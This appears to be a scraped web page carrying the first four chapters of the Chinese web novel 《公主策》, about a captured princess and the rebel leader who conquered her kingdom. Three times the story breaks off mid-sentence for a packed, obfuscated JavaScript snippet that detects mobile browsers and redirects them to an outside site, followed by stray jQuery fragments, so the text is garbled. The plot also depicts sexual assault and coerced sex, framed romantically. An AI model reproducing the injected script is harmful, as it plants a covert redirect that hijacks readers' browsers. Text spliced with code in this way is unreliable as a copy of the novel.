《公主策》 1. 亡国 “大魏降了。” “好啊!好啊!” 天空浓得像化不开的墨,厮杀声,呼救声伴随着噼里啪啦的火焰燃烧声不绝于耳。 她站在城墙上,锦衣被烈烈疾风吹得胡乱飞舞,远处,漆红的宫墙被浓烟熏得焦黑,烈风带着轻微的血腥味儿,吹动绫罗,拂过耳畔。 “恭喜大王!贺喜大王!” 恭贺声夹杂着狂笑不绝于耳,一阵阵声音像刀子一般穿透耳膜,柳妤月闭上眼,强迫自己忽视这些刺耳的声响。 大魏降了。大魏降了。 寥寥四字好似刀子一般扎在心上。 故国被火光吞没,那一瞬,呼救声、厮杀声、兵刃相接声骤然充斥在脑海,灯火明灭间,她仿佛看见了仓皇逃命的宫人,与无数跪地哀求的老臣。 ——公主,救救大魏吧。 她努力控制着自己不要再去回想哀鸿遍野的皇宫,可耳畔的哀嚎声却始终萦绕不散。 ——公主,太后和新帝都在那匪首手中,您不能死啊…… 元祈十五年,南涝北旱,天灾不断,魏宣帝下令开仓赈灾,国库大开无数珍宝流入民间,山匪于其中获利,日渐做大。 元祈十七年,魏宣帝身死,新帝年幼,匪首盛珏乘乱起兵,三月后率领义林军攻入京都,大魏重文轻武,无御敌之将,就此国破。 大魏宰相祝允之携大魏残臣投降,为表忠心,献上无数奇珍异宝,而贵为新帝胞姐的琅悦长公主亦在珍宝名单之中。 传闻,琅悦长公主花容月貌,金尊玉贵,乃是大魏无人不知的第一美人。 消息传到城门外的叛军军帐里,引来一片骚动。 “艹,祝允之那个孬种,居然把自己没过门的媳妇儿给送过来了?” “妈的,那可是大魏公主,兄弟们,咱们有福了!” “哈哈哈哈哈——” …… 片刻后,宴宾帐中歌舞不绝,华美的莲花灯静默燃烧,袅袅轻烟在一豆烛火上飘荡。军帐入口处的帘幕被人缓缓掀开,浓烈的酒味,夹杂着肉味、汗味儿,扑鼻而来。 走进帐中,一群衣衫不整的山匪喝得满面红光,怀里抱着一两个妖娆的姑娘,瘫在各自席位上。 “罪臣祝允之,拜见大王。”但见来者拱手,一身白袍素履,眉目清润。 正是前朝宰相,祝允之。 瞥见这人,诸匪面上纷纷露出几分不屑,末了又侧头看向帘幕,像是在期待什么。 “带来的东西呢?”主位上传来漫不经心的声音。 祝允之再次拱了拱手,转过身。 那一瞬,帘幕再次被人缓缓掀开,晚风带着夜晚独有的潮湿青草香吹散了帐中淫靡的味道,一只沾满泥土的白牡丹金丝软布鞋缓缓踏入帐中。 恍若日光穿透水晶,顷刻间,璀璨光泽生生逼得人不敢直视。 来者生得极白,周身肌肤似冰雪凝成,稍稍触及,便会消融在掌心,黛色的眉,明珠般的眸恍若以华美珠宝雕就,红唇嫣然,色泽比西域的红宝石还要明艳。 她穿着简陋的素衣素鞋,身后跟着三五匪兵,分明寄人篱下狼狈不堪,可却身姿娉婷,仍有披金戴银的富贵雍容。 亦或者说,即使陨落成灰,她依旧是举世无双的珠宝。 此时,靡乱的军帐里迎来了诡异的安静。 柳妤月低垂着眉眼,缓缓步入中央,再次抬眼,她看见了主帅位置上的男人。 那人蓄着络腮胡,浓眉鹰眼,手里握着华美的琉璃酒杯,身上却穿着一身与名贵酒杯截然不符的灰布衣裳,外披灰狼皮毛制成的裘服,额上系着二指宽的灰色麻布条,这身装扮,像极了她年幼时在画卷上看过的塞北的粗犷胡人。 但她知道,他不是胡人。 “还不快跪!”膝盖被人狠狠踢上一脚,柳妤月闷哼一声,小脸疼得煞白。 可柳妤月没有跪。 她直勾勾的望着主帅位置上的那人,那双宛如明珠一般美的眸子,眸底却是深不见底的漆黑。 他是——与她有灭国之仇的叛军首领,盛珏。 眼看周围人面色不妙,祝允之下意识开口:“公主!” 柳妤月身子一颤,轻轻垂下了眸子。 像缓缓将爪子收回到肉垫里的猫儿,柳妤月轻轻跪下,语调平缓,却依旧是玉碎般的声音:“罪臣柳妤月,拜见大王。” 珠玉为眸雪作肤,容冠琅嬛压群芳。 传闻无数大魏文人饱蘸笔墨,试图描绘她的姿容,却无一可绘其全貌。 主位之上,盛珏幽深的眸光落在她身上,从如云的青丝,到殷红的唇瓣,再到清淡的素衣也无法彻底遮掩的娉婷身段。 少女的每一寸肌肤都恍若世间珍宝,温暖的橘黄灯光洒落她姣好的面庞,像是为她镀上了一层浅浅的佛光。 “好一个含羞带怯的美娘子。”席位上已有匪首醉醺醺的起身,踉踉跄跄地窜到柳妤月身边。 “瞅瞅这身段、这小脸儿……”他一手揽过少女,一手抚上她纤细的腰肢,“真是——啊!” 柳妤月猛地一推,那匪首直接一屁股坐在了地上。 周围人顿时哄笑起来。 “哈哈哈哈,老柴,你行不行啊?” “往常不是整日吹嘘自己御女有术吗,怎的今日被一个小娘们给推倒了?” “哈哈哈哈……” 一片嘈杂中,祝允之看向柳妤月,压低了声音,“阿词,没事吧。” 柳妤月摇了摇头,尽力维持着平缓的呼吸,可眸中依旧荡漾着微不可闻的惊恐。 看起来只是个柔弱不堪的美人。 主位上,盛珏将一切尽收眼底,仰头,琉璃酒盏中的紫色汁液被悉数饮下。 “操!小娘们儿不要敬酒不吃吃罚酒。” 老柴在众人跟前失了面子,站起来第一件事便是张手要去扯她。 柳妤月躲闪不及,只听“嘶啦”一声,她肩头的衣裳堪堪被扯开。说时迟那时快,那人的力道极大,双手擒住她的衣袖,往后一拉。 柳妤月失去重心往前倒去。 “阿词!”祝允之没有拉住她。 老柴长臂一捞,便堪堪将她揽在怀里,右手顺带从她撕裂的衣肩处探了进去。 “大胆!”柳妤月瞪大眼睛,拼命挣扎,“放开!” “大胆?”像是听见了什么旷世笑话,老柴捏着她的下颌,语气嘲讽至极,“好大的阵仗,真当自己还是什么公主呢?” “长公主,你的大魏已经灭了。”手指探入她衣襟里的肌肤,那人用极其暧昧的速度在她身上打着圈,“管你是什么公主,进了咱们营里,你就是人尽可欺的玩物。” 那一瞬,柳妤月身子寒凉的厉害。 “天下人人皆知柳妤月乃前朝血脉。”祝允之转头对台上之人拱了手,“大王,凭借她的身份与名望,大王可一洗叛贼之名,坐稳江山。” 他委婉的提醒,大魏虽已国破,但柳妤月尚且还不是能肆意欺凌的对象。 盛珏敲打酒盏的手指微微顿了下,随后才悠悠开口:“柴堂主,咱们可不能惊扰了贵客。” 见盛珏开了口,柴莽这才松了手,意犹未尽地搓了搓手指,暧昧的眼神却仍旧徘徊在她的身上,似乎要透过衣裳,瞥见内里的风光。 柳妤月小脸被骇得惨白,唇瓣也在轻微的发颤,但那张精致得恍若画中仙子的眉眼,依 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14227987|151293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旧美得不可方物。 盛珏饶有趣味的对她招了招手,“过来。” 柳妤月侧头看向盛珏,一怔。 “是。” …… 一步。两步。 少女缓缓走上前来,步伐带着几分轻缓与沉稳。随着两人的距离越来越近,她的神色渐渐恢复平静下来。 无人看见的广袖之下,纤纤玉指握紧了袖中短刃。 盛珏饶有兴致地看着她款款走来,身姿娉婷,步步生莲。 就在两人相隔两步时,她的袖中寒光一闪。 “啊——!”舞姬的尖叫撕裂了营中的安静。 “哐当——”各种酒具碗碟落在地面,碎得七零八落。 泛着森森寒光的短刃在空气中划过一道优美的线条。 “铛——” 短刃落于地面,柳妤月被掐着脖颈,按在酒案上。 “公主!”祝允之试图上前,但很快被周围涌上来的匪兵架住。 “原以为是只温驯听话的猫儿,谁知道爪牙竟这般锋利。”指尖轻轻抚着少女的脸庞,盛珏动了动喉结,他正笑着,眸底尽是上位者的张狂,“不知道拔了你的爪牙,可又会是什么样?” “你大可以杀了我。”柳妤月毫不退却。 “想死?”盛珏嗤笑一声,“可没那么容易。” 大手抓住她肩头本就破碎的衣料,用力一撕。 “嘶啦——” 素白的衣衫被撕裂,露出内里烟青色的里衣。 柳妤月瞪大了眼睛,几乎是下意识的开始挣扎:“放开!” 这厢盛珏却好似充耳不闻,大手悠悠抚向里衣的衣襟,欣赏少女神色平静的面具一点点破裂,露出些许类似于恐慌的情绪。 “珠玉为眸雪作肤,容冠琅嬛压群芳。”他附在她耳畔,用低沉的声音不紧不慢的开口,“那群文绉绉的读书人,倒是从未过誉你这张倾城之貌。” 热气从他唇中呼出,带着淡淡的葡萄酒香,飘散她脸颊上。 柳妤月的胸口剧烈起伏,几乎是下意识躲避他:“无耻之徒,放开!” “放开?”大手轻易解开系带,他亲吻着她的侧颈,带着几分似笑非笑,“长公主这是在说什么,你我将为夫妻,如此亲近,本就是人之常情。” 去他的人之常情! 柳妤月张口欲骂,周围的山匪却已开始起哄起来。 “好!” “大王神武!” 嘈杂之中,那人靠近她的耳畔,用只有他们两人能听到的声音开口:“柳扶芫被送去了哪里。” 柳妤月一愣,侧头望了他一眼,飞快的察觉到不对,“你怎么知道五妹妹的闺名?” 静和公主,大魏皇储中排行第五,闺名是柳扶芫。 大魏公主的闺名唯有亲近之人才知晓,柳扶芫性子高傲,断然不会将闺名告知一个山匪。 恐怕是盛珏有意打探才得知。 只是——一个山匪打探一位公主的名讳。 她的眸光扫过面前这人,略带试探,“你心慕她?” 盛珏闻言一顿,收紧了掐她脖颈的手,“她在哪里。” 盛珏得到消息,祝允之投诚后,宫中有人秘密安排了皇子公主们的撤离。 不过区区一个时辰,那群皇子公主就仿佛人间蒸发了一般,杳无音信。 只留下了琅悦长公主一人。 “咳咳、不、不知道。”她艰难道。 事关皇储,柳妤月自然不会告诉他,只是看对方的反应,怕是被自己说中了。 “很好。”盛珏气急而笑,撕开里衣,重重吻上了少女的侧颈,“不听话的玩物,就该被好好惩罚。” 2. 公主 淡淡的芝兰香味弥漫在军帐中,座下的匪首们饶有兴致地望着台上衣衫褴褛的少女。 她的衣衫松松垮垮的挂在肩上,露出一半圆润的美人肩。盛珏伸手欲扯下剩余的衣衫,柳妤月猛地按住了他的手。 再扯下去,她便该在这群山匪面前□□了。 “我是扶芫的长姐。”危机当头,柳妤月强装镇定,深呼吸,努力保持冷静:“你这般对我,不怕她厌恶你吗?” 她隐约察觉,兴许盛珏对柳扶芫是不一样的。 “兴许你很聪明。”盛珏抚过她姣好的面颊,笑了下,“但可惜,大魏城破,公主的聪明救不了这如山倒的王朝。” 话音刚落,柳妤月更紧的抓着他的手。 硬的不吃,那就只能试试软的。 “那可否,请大王看在五妹妹的情分上。”她动了动唇,声音软了些许,“至少——” 她本就生得貌美,而今水眸盈盈,眸底波光荡漾,更显温软柔弱。 盛珏眸光一滞。 察觉到迟疑,柳妤月攥紧了他的手。 “至少、至少别在这里。”声音温和绵软,带着几分梨花带雨的哽咽。 是大魏尊贵无双的长公主,亦是如今在他身下泫然欲泣的美貌少女。 像是猫儿毛茸茸的尾巴在心头扫啊扫,盛珏喉结微动,俯身将她打横抱起,快步走出了军帐。 - “主帅。” “大王。” “主帅。” …… 盛珏脚下生风,左手掀开营帐帘幕,右手便已将少女丢在虎皮硬榻上。 “唔。”柳妤月摔在硬榻上,撞得闷哼一声。 没想到大王这么早就回来,营帐中伺候的侍女你看看我,我看看你,一时不知要做什么。 “滚出去。”他一把举起水壶,对着壶嘴倒了一大口,茶水打湿他的衣裳,他擦了擦嘴角的水渍,“任何人不许进来。” “是。” 侍女们福了福身子,纷纷退下。 营帐中只剩二人。 盛珏脱去外衣,眸光幽深,一步一步逼近。 柳妤月不自觉往后缩了缩,裹紧身上残破的衣物。 服软是为了避免在那群匪贼面前春光尽泄,更是护住大魏皇储的最后一丝颜面。 可如今看来,貌似惹上了更大的麻烦。 “在害怕?”他忽然开口,眼神如同刀子般在她身上刮过,“大魏公主,你应是知道,我留你一命,为的是什么。” 柳妤月抿了抿唇,没有回话。 她当然知道。 这群山匪出身的叛贼杀人放火、无恶不作。而她被当做礼物送来这豺狼窝,本该九死一生,但她知道,盛珏不会杀她,因为这大魏长公主的身份对盛珏有那么些用处。 叛贼靠着劫掳先帝赈灾的财宝而做大,又趁着先帝驾崩,朝纲不稳,一路杀入帝都。 大魏皇帝以贤德著称,而他充其量算个枭雄,若想取大魏而代之,他盛珏名不正言不顺。 而柳妤月能给他一个名正言顺的名分,他盛珏若是成了长公主的夫婿,也算跟大魏皇族搭上了关系。 当然,这只是个权宜之计,待到他正式登基,坐稳江山,等待柳妤月的无非就是——处死。 可是,她不能就这么死去。 柳妤月松了松手,松松垮垮的衣衫悠悠滑下。 今夜刺杀失败,过了子时,城中的将领便会带着残存的兵力离开。 而她需要蛰伏在叛贼身边,活下去,直到救出被这叛贼关押的胞弟和母后。 此时月色正好,皎洁的月光透过窗棂,落入屋中,而少女单薄的雪肩,似乎能在月光下生辉。 她抬眸,忽然不再如方才那边惊慌。 她知道,要想好好的活下去,就逃不过今晚的以身饲虎。 盛珏坐在虎皮硬榻边,抬手拂过她细嫩的肩,眸中晦暗难辨。 不得不说,柳妤月是极美的。 世间美人万千,各有各的美法。或是妩媚动人,或是清丽脱俗,而她更像是浑然天成的一顶华冠,滋养在锦衣玉食之中,带着生于皇室所特有的矜贵与娇柔。 那是只有人世间最富贵的地方才能养育出的美艳。 盛珏不傻,他知道,若非这场叛乱,他这辈子都不会和柳妤月产生交集。 他仔细地看着她的模样,眸光炽热异常,与其说是在端详她的眉眼,倒不如说……是在欣赏此番浴血厮杀得来的战利品。 这是——他颠覆了一个王朝的嘉奖。 感受到他的眸光愈发火热,柳妤月闭上眼睛,微微抬起下巴,露出脆弱的脖颈,像一只收好了爪子,温驯乖巧的猫咪。 她不再抵抗,任由他予取予求。 意识到这一点,盛珏浑身的肌肉紧了一紧,右手掐住她的脖颈,俯身吻上了她的唇。 是极其绵长的一个吻。 片刻后,外面下起了大雨,雨打棚顶发出沉闷的声响,柳妤月躺在榻上,双手被牢牢禁锢在耳畔,抿着唇,小脸微白。 巨大的痛意将她的无感吞噬了个干净,她听不见雨声,也看不见周遭的一切。 世界好像都安静下来,除了耳畔传来轻微的喘息。 盛珏的动作实在称不上温柔,又或者说,是有意下重手,叫她喊痛。 可柳妤月不愿喊疼。 大魏公主一生矜贵,从不愿在外人前示弱,何况,如今她面对的是灭国仇敌。 混沌之中,许多记忆仿佛骤然活过来。 她想到元祈六年,她六岁,被带到御书房中协助父皇处理政事,父皇握着她的小手,教她在奏折上圈点批红。 “阿词,你且记住,为君者,当以仁义治天下,使百姓养生丧死无憾,方为王道之始。” “我皇族受百姓敬仰,亦将以性命护百姓安居乐业,予天地一方海晏河清。” 又想到父皇驾崩那日,父皇颤颤巍巍地将六岁的柳仲期交给她。 “阿词,切记、切记、护好新帝,护好大魏。” 后来大魏城破,她站在城墙上,眼睁睁地看着烽火烧到城门。 京都哭声震天,叛军所过之处,一片狼藉。 她没能救了这岌岌可危的帝国,本该随这帝国而去,可残留的老臣拦下了她。 “公主,救救大魏吧。” “公主,太后和新帝都在那匪首手中,您不能死。” …… 她的眸光游离在外,良久,眼角轻轻落下一滴泪。 是的,她活了下来。 背负着国仇家恨和委身仇敌的屈辱,活了下来。 * 经历了一整夜的狂风暴雨,府中的梨花被骤雨打落了一地。宰相府掌事一大早就在门口来回踱步,时不时抬头,望着空空如也的巷子,良久,又低下头来叹气。 “刘叔,您坐下歇歇吧。”小童取来竹椅,撑开放在地上,“相爷定然平安的。” 刘掌事摆了摆手,如今没有坐下来的心情,“相爷降于山匪,还将……长公主送到了那些贼人手中,也不知如今该如何难过。” “可这也是无奈之举呀。”小童知道这些,劝慰道,“彼时幼帝与太后被他们派来的奸细掳去,宫中早已无了战意,眼看都要被叛贼一网打尽了,是琅悦公主命咱们相府假意投诚,这才拖延了一段时间。” 言至此处,他顿了下,继续道:“借着咱们投诚赢来的时间,琅悦公主亲自将皇子公主们送走,为咱们大魏保存了血脉与实力,也算是好事一桩了。” 刘掌事捻须,诚然,没有相府投降争取来的时间,如今的皇宫上下早就被一锅端了。 只是…… “那群叛贼必然有所察觉。”刘掌事一提这个就更愁了,“相府投诚后不过一个时辰,宫中的公主皇子们便凭空消失,如此蹊跷,他们定然会怀疑到相府头上,如今相爷又去了,指不定会受多少折辱……” “这些折辱——相爷……应该不会放在心上吧。”小童想了想,道,“换个角度想,还好他们怀疑到了相府头上。有相府挡在前,公主的日子,会好过许多呢。” 这倒的确。 刘掌事一滞,倒也没再说什么了。 宫中鲜有人知,三月前先帝驾崩,亲手将幼帝交付与了琅悦长公主。 此后,宫中事务名义上是相府辅佐幼帝决断,实则长公主一手操持。 外人皆以为当今宰相治国有方,在朝中无良将可用时,仍能以谋略,于衢州、赣州两地牵制 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14227988|151293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住翘勇善战的义林军。 但无人知晓,这三月以来的所有战果,皆出自长公主之手。 只是可惜,先帝驾崩时匪军已势如破竹,留给长公主的时间到底还是太少,这摇摇欲坠的大魏,终究是倒下了。 绿枝上掠过一只飞鸟,树影摇晃,刘掌事抚须,再次悠长地叹了口气。 远处,青黛小巷的尽头出现一抹素白的身影,小童远远瞧见了,顿时兴奋起来。 “是相爷!”他一边招手,一边叫喊,“掌事!相爷回来了!” 刘掌事快步相迎,没走几步,便愣在原地:“相爷,您的手?” 白影越走越近,小童这才看清,来者脚步虚浮,面色苍白,似乎随时都要倒下,而他的左手,正滴着血。 滴答。 殷红的血珠滴落地面。 他走过的每一寸青石板上,都滴落了三三两两的血珠。 “相爷!”小童身子敏捷,飞快地跑过去,扶起了几欲倒下的祝允之。 “无事。”祝允之推开小童,惨白的唇动了动,“我自己走。” “哎呀,不行的,相爷你……”小童作势又要扶,再次被推开了手。 推搡之间,祝允之淌血的掌心上似有寒光。 刘掌事上前抓住祝允之的手,翻转,只见五根银针深入掌心,鲜血顺着银针缓缓流出。 “相爷!”小童惊叫一声,“这这这……” “这是自己扎的。”祝允之动了动唇,声音没有任何起伏,“你们让开,我一个人呆一会儿。” “可是相——诶诶诶?”话没说完,小童便被一旁的刘管事拉到身后。 将小童拉到身后,刘管事自怀中取出早就备好的伤药与布条:“老奴为相爷简单处理伤口罢。” 见了祝允之平安归来,刘管事不似方才那般忧心,看着祝允之收回手,颇不配合,他又说了声:“这是公主临行前命老臣备下的。” 听到“公主”,祝允之的手颤了颤,这次没再挣扎,摊开手,任由刘管事料理伤口。 拔出银针,鲜血汩汩流出。 小童被拉到一旁,全程光是看着那伤口,便已痛得龇牙咧嘴。 祝允之神色不变,似是感觉不到疼痛。 刘管事上好伤药,再以布条包扎好,祝允之呆呆愣愣地看着伤处,良久,声音干涩:“她还与你交待了什么?” 包扎好伤口,刘管家退后一步,拱了拱手,“公主吩咐,她于书房留有书信一封。” 祝允之抿唇,快步往书房而去。 * 阳光透过轩窗,照到檀木小桌上。前些日子大魏皇宫被叛军所占,柳妤月暂居宰相府,大魏虽名义上国破,但皇室遍布京都的暗桩却完好无损的保存了下来。 柳妤月在宰相府,常常在这面檀木小桌上查阅文书,致函暗桩,调配暗探。 祝允之走进檀木小桌,只见上头确有一函一符。 说是信函,却不过誊抄了段诗文,他打开信函,但见洛阳纸上娟秀的簪花小楷字迹分明,然一笔一划,却是气势磅礴,入木三分: 自经丧乱少睡眠,长夜沾湿何由彻。 安得广厦千万间,大庇天下寒士俱欢颜,风雨不动安如山。 呜呼。何时眼前突兀见此屋,吾庐独破受冻死亦足。 祝允之仔仔细细地将这一段诗文看了一遍又一遍,像是想透过这些娟秀的字迹,想起那人瑰丽的眉眼,良久,又觉得如今自己这副模样,实在痴傻,一时失笑。 他摇头,有些无奈,却依旧紧紧握着这半段诗文。 她以诗文赠他,无非是在向他明志,劝慰他不必因送她入狼窝而自责。 而这信函旁的符……祝允之拿起符,但见上头以篆文刻着明晰的“影”字,心下便知,这是可驱使京都暗桩的皇符。 她知道盛珏身边行事不便,便将这皇符交付与他,叫他在外协助。 这是……让他不要因投降于叛贼,而以死谢罪。 祝允之看了看自己伤痕累累的手,良久,闭上了眼睛。 她分明也曾一心求死,如今却来劝慰他活下去。 祝允之垂眸,不自觉握紧了信函。 可她忘了,她身陷囹圄,他又怎会甘心死去。 3. 试探 日光落入军帐,依稀可见空气中漂浮的轻灰。侍女们排成一列站在床边,手中捧着茶褐色的汤药。 柔软的罗帐挡住了户外的强光,柳妤月醒来时已临近午时,她蹙着眉,用被褥盖住了身上斑驳的印记。 掀开床帐,为首的侍女已然将新衣端上了面前,当然,随着新衣一同送来的,还有一碗新鲜的汤药。 “公主,不,夫人……”那侍女瞧着有些紧张,说起话来有些结巴,“夫人,这是、这是大王命人给您备下的,叮嘱您定要喝下。” 那侍女说完话,还不忘偷偷瞧了柳妤月一眼,但也只是一眼,便飞快地低下了头去。 那汤药上还冒着热气,看起来是刚煎好没多久。 柳妤月瞥了一眼汤药。 看着有些苦,不知有什么效用。 那侍女见着她没动,以为她是知道了这是什么汤药,于是小声安慰道:“夫人放心,大王到底还是顾忌着前朝的身份,这才送了避子汤来,如今您与大王已有夫妻之实,日后……嗯?” 听到避子汤,柳妤月端起药,喝了个干净。 她与盛珏之间,决不能有孩子。 “军医调配的避子汤有效吗?”一口闷完药,她平静道,“这方子可叫御医看过?” 侍女端着空碗,眨了眨眼睛,呆在原地。 旁的夫人得了避子汤都生怕这汤起效,怎么看公主的样子,倒还生怕这药不起效? 嗯,果然,公主就是公主,就是与大王营中那些胭脂俗粉不一样。纵然因大王伤心,定也会藏在心里,不会轻易叫旁人看出来。 小侍女很快就说服了自己。 “夫人莫伤心,大王可心疼夫人了。”小侍女扬起笑容,认真道,“专门叫御医瞧过这方子,见没问题,这才煎成了药给您送来呢!” 柳妤月此时换好了衣服,正端着茶水漱口,闻言点了点头,没再说话。 见她离开虎皮硬榻,小侍女连忙上前将昨日的褥单拆下来换洗,但见华美的褥单上落了三两鲜艳的梅花,小侍女的脸顿时红了起来。 柳妤月坐在铜镜前梳发,透过铜镜,清晰地看到褥单上鲜艳的落红。 那是一整晚的荒诞和屈辱。 她收回眸光,平静的看着镜子里的自己。 但现在还不是顾影自怜的时候。 “公主,您放心,大王一定会对您好的。”小侍女不知想到了什么,抱着褥单,忽然开口,“您此番定也受了不少委屈,但都已经过去了,往后……往后大王定然会对您极好的。” 小侍女说话结结巴巴,但却透着一股子真诚。 柳妤月梳发的手顿了顿,侧头望她。 小侍女一身土黄色布褂,下头配了纯白布裙,乌黑靓丽的长发被梳成一个麻花辫,杏眸盈盈,颇为好看。 柳妤月望着镜子里唇若朱丹的女子,缓缓将头发挽起,状似不经意道,“姑娘来这儿多久了?” “回、回夫人,您唤奴婢芙娘便好。”芙娘不好意思道,“奴婢来这儿三月有余了。” “那你可知道——”柳妤月转过身来时,面上已然挂上了几分浅笑,“大王的后院里,都有哪些夫人?” 女子笑靥如花,芙娘脸涨的通红,有些不敢看她,“大王……大王后院有名分的夫人约有十余位。” “数十位……”柳妤月柳眉微蹙,“没名分的呢?” 芙娘抿了抿唇,面露难色。 好吧,看模样数量有些多。 柳妤月眉头蹙得更深了。 “但是、但是这些夫人都是各大帮主送给大王的。”芙娘小声辩解道,“那些没名分的夫人,也大都是下人们口口相传,谁也不知道是真是假,咱们大王、大王素日里连夫人们都不常召见,又怎么会……” 芙娘脸皮子薄,说不出太露骨的话,只能浅浅道,“公主放心,大王是好人,不会辜负公主的。” 好人?辜负? 柳妤月笑了下。 谁管他是不是好人,她不过是在担心,这后院里的女人争风吃醋,扰乱了她的计划。 “借姑娘吉言。”她面上仍旧温和。 帐外步履匆匆,有人的脚步堪堪停在入门的地方。 柳妤月漫不经心地扫过那人的狼皮军靴,言笑晏晏,“但我倒也不敢奢求那么多。我知道,如今我已是大王的人了,行事自然要多为大王着想。往后……无论发生什么,只要大王能够得偿所愿,我便也无所求了。” “夫人——”芙娘看着有些感动。 帘幕外头,那人也站定了一会儿,然后才掀开帘子,堪堪进来。 今日外头的天气颇好,盛珏穿着一身灰布玄铁铠甲,头戴玄铁冠,背后披着朱丹红披风。看模样似乎是刚阅完兵回来,手里抱着头盔,面上没什么表情。 “大王。”帐中的侍女们行礼。 柳妤月侧过身来,眉眼藏娇,笑意盈盈。 她今日换上了身鹅黄锦绣宫装,长发被简单挽起,上头插了个凤凰衔枝金步摇,一颦一笑时,发上步摇摇曳生姿,而那明亮的色泽,更衬托得她眉目清雅,气度雍容。 与昨夜面染红霞,柔弱无骨的样子判若两人。 盛珏不自觉挪开了眼。 “大王。”她轻轻行了个礼,少女的声音素来绵软,如今带着几分浅浅的笑意,便更显得勾人。 盛珏抿唇。不知为何,分明是简单至极的两个字,从她口里念出,却多了几分旖旎的味道。 喉结微动,他的眸光扫过周围,“都退下。” “是。” 芙娘领着侍女们退下,临走前担忧地望了柳妤月一眼。后者瞧见了,对她弯着眉眼笑了笑。 公主真好看。 芙娘脸一红,埋着脑袋快步出去了。 帐中仅剩柳妤月与盛珏两人。 说来也是蹊跷,分明昨夜还是抵死缠绵的二人,如今面对面站着,竟宛如陌生人。 柳妤月垂着眸子,没有开口。 最终是盛珏先出了声,“你昨日来时,随身带了只雪云鸽。” 雪云鸽,乃是世间少有的贵禽,因身白如雪而得名。 经他这么一说,柳妤月这才堪堪想起了自己随身带着的宝贝鸽子。 “嗯。”她点头,温和道,“是……妾身自幼养在身边的鸟儿,便随身带着了。” 盛珏的眸光落在她身上,久久未动。 尊贵如柳妤月,“妾身”这种词语对她来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14227989|151293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说应当算陌生才对,可如今她说起来却很是自然,似乎……是在诚心依附与他。 但这根本不可能。 盛珏清楚的知道,他灭了她的国,毁了她的姻缘,占了她的身子。 他们之间隔着国仇家恨,理应鱼死网破。 可如今……她这幅温驯的样子,又是为何? 他将头盔放在她的梳妆台上,单手揽过她纤细的腰肢,两人骤然离得近了许多。 “那鸽子我待会儿派人送来。”他附在她耳畔开口。因着昨日的阴影,这样的亲密让柳妤月很不自在。 但她没有挣扎,只是垂着眸子,看着十分温驯。 像只藏着爪牙的猫儿。 盛珏眸中漆黑,反手将她压倒在床榻上。 “唔——” 这么大一男的,压在身上死沉。柳妤月皱眉,废了好大劲才没把对方推开。 男人将脸埋在她的颈窝处,柳妤月顿了下,从她的角度,可以毫不费力的抚上他的后颈。 这是……机会。 柳妤月的发髻上插着一只凤凰衔枝金步摇,她记得清楚,那步摇的尖端,颇为锋利。 若是现下拔下步摇,狠狠刺入这人的脖颈。 那么,盛珏便该死在这里了。 柳妤月垂下了眸子,眸光在虚无的空气中回荡。 她忽然想到昨晚的骤雨,他抓着她的手,戏谑地逼着她服软哀求。 那是她自出生至今都未曾有过的屈辱。 她的眸光渐渐幽深。 盛珏低头轻嗅着她脖颈处淡淡的芝兰香气,垂着眸子,感受她的动作。 他知道,柳妤月发上的金步摇颇为锋利,若是使用得当,这个角度,足够捅穿他的脖子。 盛珏不动声色的看了眼手腕上的软剑。 但他也十分确定,只要她敢碰那步摇,这软剑便能在下一秒捅穿她的身子。 那一瞬,时间仿佛被拉得无限长。 身下的女子抬了手,盛珏右手紧握成拳。 她的手缓缓抬向发髻,缓缓、缓缓—— 盛珏腕上的软剑泛起了冷冽的光。 最后,少女纤细的手停在了鬓角处。 盛珏一愣。 下一秒,少女捋了捋鬓角的碎发,柔夷缓缓回抱住他。 “大王可是累了?”轻轻柔柔的声音,她温驯乖巧的任由他抱着,主动吻了吻他的侧脖,“若是累了便歇会儿吧,妾身陪着大王。” 盛珏身子一僵,几乎是下意识推开了她。 “离我远些。” 丢下这么一句话,他快步离开这里。 柳妤月坐起来时,那人已经走了好远,她仍旧温驯乖巧的对着他的身影福了福身子,“妾身恭送大王。” 此时账内空无一人。 柳妤月看着微微晃动的帘幕,良久,笑了笑。 她知道,刚才盛珏对她动了杀心,可为什么……最后没有动手呢? 柳妤月缓步走到窗边,执笔在信笺上写了什么,随后轻轻敲了敲桌面,一只通身雪白的鸽子便飞到了她的窗前。 “给祝允之。” 那鸽子似乎听懂了人话,衔起信笺,扑腾着翅膀,便飞了出去。 4. 信笺 芙娘等在账外,毕恭毕敬地送走了大王,随后才重新回到帐中。 她进来时,通身雪色的鸽子刚刚飞走,身姿娉婷的女子站在窗边,屋外细碎的光斑落在她瘦弱的肩上,恍若为她披上了一件金色的外衣。 